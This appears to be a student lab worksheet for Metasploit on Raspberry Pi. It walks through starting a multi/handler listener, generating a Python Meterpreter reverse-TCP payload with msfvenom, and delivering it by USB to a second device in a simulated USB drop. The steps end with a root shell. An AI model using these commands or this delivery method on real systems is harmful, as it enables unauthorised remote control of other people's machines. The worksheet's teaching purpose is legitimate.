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Metasploit Pi – Student Worksheet 
Learning Outcomes 

• Learn the basic principles of Metasploit; 
• Learn how to create a payload using msfvenom; 
• Learn how an attack would work on Metasploit. 

Background 
Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security 
Auditing. Kali contains several hundred tools which are geared towards various information security tasks, 
such as Penetration Testing, Security Research, Computer Forensics and Reverse Engineering. 

The Metasploit Project is an open source project that provides a public resource for researching security 
vulnerabilities and developing code that allows a network administrator to break into his own network to 
identify security risks and document which vulnerabilities need to be addressed first. The Metasploit 
Project offers penetration (pen) testing software and provides tools for automating the comparison of a 
program's vulnerability and its repaired (patched) version.  Anti-forensic and advanced evasion tools are 
also offered, some of them built into the Metasploit Framework.  

Metasploit also offers a payload database, allowing the pen tester to mix and match exploit code and 
objectives. In 2009, the Metasploit Project was acquired by computer security company Rapid7. 
Metasploit Express and Metasploit Pro are open core versions of the Metasploit Framework, with more 
features added. (Open core is an approach to delivering products that combine open source and 
proprietary software.) Rapid7 continues to develop Metasploit in collaboration with the open source 
community. 

Metasploit Framework, the Metasploit Project's best-known creation, is a software platform for 
developing, testing, and executing exploits. It can be used to create security testing tools and exploit 
modules and also as a penetration testing system. It was originally created as a portable network tool in 
2003 by HD Moore. The Metasploit Project also offers Metasploit Express, Metasploit Pro, the Opcode 
Database (currently out of date) and a shellcode database. Shellcode is a type of exploit code in which 
bytecode is inserted to accomplish a particular objective. Common shellcode objectives include adding a 
rootkit or performing a reverse telnet back to the attacker's machine.  

There are two popular types of shells: bind and reverse. A bind shell is the kind that opens up a new service 
on the target machine and requires the attacker to connect to it in order to get a session. A reverse shell 
(also known as a connect-back) is the exact opposite: it requires the attacker to set up a listener first on 
his box, the target machine acts as a client connecting to that listener, and then finally the attacker 
receives the shell. The call back can be delivered in many different ways for instance in this project we are 
simulating a USB drop attack. 

All of the payloads in Metasploit use Multi Handler. It is equipped to handle every single payload inside of 
Metasploit no matter what the architecture or type of connection being made. It knows how to deal with 
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each type of payload because you tell it what to expect, but that doesn't take away from the fact that in 
this single utility lies the crucial stepping stone for all of Metasploit's exploitation. 

The msfvenom tool is a component of the Metasploit Framework that allows users to generate a 
standalone version of any payload within the framework. Payloads can be generated in a variety of 
formats including executable, Ruby script, and raw shellcode. The msfvenom tool can also encode 
payloads to help avoid detection. 

In this project you will learn how metasploit works with a potential attack scenario. 

Hardware Required 

Component Number (Peli Case) Component Number (Box Case) Component 

(Base) 4 + 5 Slot 1 Raspberry Pi + Case 

(Base) 5 Slot 11 Kali Linux SD Card 

(Base) 9 Slot 2 TFT Screen 

(Level 1) 3 Slot 11 HDMI 

(Level 1) 3 Slot 11 Wireless Keyboard 

(Level 1) 5 Slot 12 Wireless Mouse 

(Level 1) 1 Slot 13 Power Supply Unit 

Project assembly/ Code setup: 

Step 1: Ensure that all the hardware required is taken out of the Peli or Box case; 

Step 2: Insert the Raspbian SD Card into the SD Card slot on the Raspberry Pi; 

Step 3: Insert the USB dongle for the keyboard and mouse (or connect an external USB keyboard and 
mouse); 

Step 4: Connect the TFT Screen to the Raspberry Pi GPIO pins ensuring that the HDMI ports align on 
the side. Connect the HDMI to HDMI U shaped connector between the Raspberry Pi and the 
TFT Screen. (If using an external monitor connect the HDMI cable directly to the external 
monitor and you do not need to use the TFT Screen); 

Step 5: You are now ready to power on the Raspberry Pi. Plug in the power supply unit into your wall 
power outlet and connect the mini USB cable to the power socket on the Raspberry Pi. You 
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should get a red light appear and a green/amber light flashing as the Raspberry Pi starts to boot 
up; 

Step 6: Once the Kali OS has booted up you will need to log in using the username: root and password: 
toor; 

Step 7: Make sure your Raspberry Pi is either connected to your WiFi or connected to the internet using 
an Ethernet cable and connecting it using the Ethernet port on the Raspberry Pi. Make sure 
both of the Raspberry Pi’s are on the same Wi-Fi otherwise it will not work; 

Step 8: Type service postgresql start and hit Enter, this starts the database software that will handle 
how Metasploit the Metasploit database; 

 

Step 9: Type msfconsole to start Metasploit, this can take a few minutes to load properly, you will see 
some ASCII art when it has loaded followed by the msf > at the beginning of the command 
line; 
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Step 10: Type use exploit/multi/handler to tell Metasploit to use a specific exploit which is called a 
multi-handler; 

Step 11: Type show options to see some of the options that can be set for this exploit; 

Step 12: Once we have told Metasploit to use the multi-handler exploit, type set payload 
python/meterpreter/reverse_tcp to use a specific payload which we will create;  
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Step 13: Type set LHOST <your IP address> to set the IP address that the listener is listening on (your 
IP address); 

Step 14: Type set LPORT 443, the default port that Metasploit uses is 4444, don’t use a port that is 
used for any other like port 21, 22 etc; 
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Step 15: If you type show options again then you will see the LPORT and LHOST that you have set; 

Step 16: Open a new Terminal; 

Step 17: Type msfvenom -p python/meterpreter/reverse_tcp LHOST=<your IP address> LPORT=443 -f 
raw > payload.py and hit Enter; 
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Step 18: Creating this payload will take a few minutes to generate, have patience and the terminal 
prompt will return once it has been created; 

Step 19: Return to your Metasploit terminal and type run to execute the exploit and start the listener; 

Step 20: Once the payload has been created load this onto a blank USB; 

Step 21: Pass the USB to a friend and have them plug it into their Raspberry Pi; 

Step 22: Ask your friend to copy the payload.py file to their Raspberry Pi Desktop; 

Step 23: Ask your friend to type python /root/Desktop/payload.py to execute the file; 

Step 24: In your Metasploit console you should now see a connection made alert with a session ID 
created but you will not be able to interact with the session (this is because there is an issue 
creating a multi-handler using a Raspberry Pi, it doesn’t have enough processing power); 

Step 25: This may take a few minutes to return a meterpreter > prompt, this is because it is running 
through all the exploits in Metasploit to find the right handler for the target OS; 
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Step 26: If you type ls you will find that you might be stuck in a specific area of the directory, this 
should show you the files and directories that are accessible at your position; 

 

Step 27: Type whoami and hit Enter, if you are stuck in a specific area it might return an Unknown 
Command: whoami; 

Step 28: It is always good practice to create a new shell for you to work from when accessing a 
machine, this separates your use of the device and you are able to escalate your privileges;  

Step 29: Type shell and hit Enter; 

 

Step 30: Type whoami again and you should be returned with the root user; 

Step 31: Type cd .. to return to the highest position of the directory and type ls, you should now have 
full access to the Raspberry Pi, you can do a lot at this position, change usernames and 
passwords, create new passwords, run background processes, this is game over for this 
device; 
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Step 32: This is the end of this project and you can now shutdown and pack away your hardware. 

Conclusion 
This project is designed to introduce you to Metasploit and the applications it has within IT and cyber 
security. You will have used Metasploit on the Raspberry Pi to create payloads then have run them on 
other devices. Metasploit is an extremely powerful tool, and this tutorial is just scratching the surface of 
what you can achieve with it. Keep in mind that the Raspberry is limited in processing power and will not 
be able to handle large volumes of traffic accurately. As such, this should obviously not be used in 
production environments.  

Disclaimer 
Any actions and or activities related to the material contained within this Website is solely your 
responsibility. The misuse of the information in this website can result in criminal charges brought against 
the persons in question. Cyber Security Associates Limited will not be held responsible for any criminal 
charges brought against any individuals misusing the information in these projects to break the law.    
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